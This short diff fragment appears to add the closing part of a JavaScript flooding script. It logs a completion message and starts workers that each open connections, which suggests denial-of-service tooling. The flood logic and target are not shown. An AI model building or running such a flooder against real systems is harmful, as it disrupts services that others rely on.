+  console.log('Flooding completed.');
+}
+
+// Worker thread script
+if (isMainThread) {
+  runFlood();
+} else {
+  createConnection(workerData.index);
+}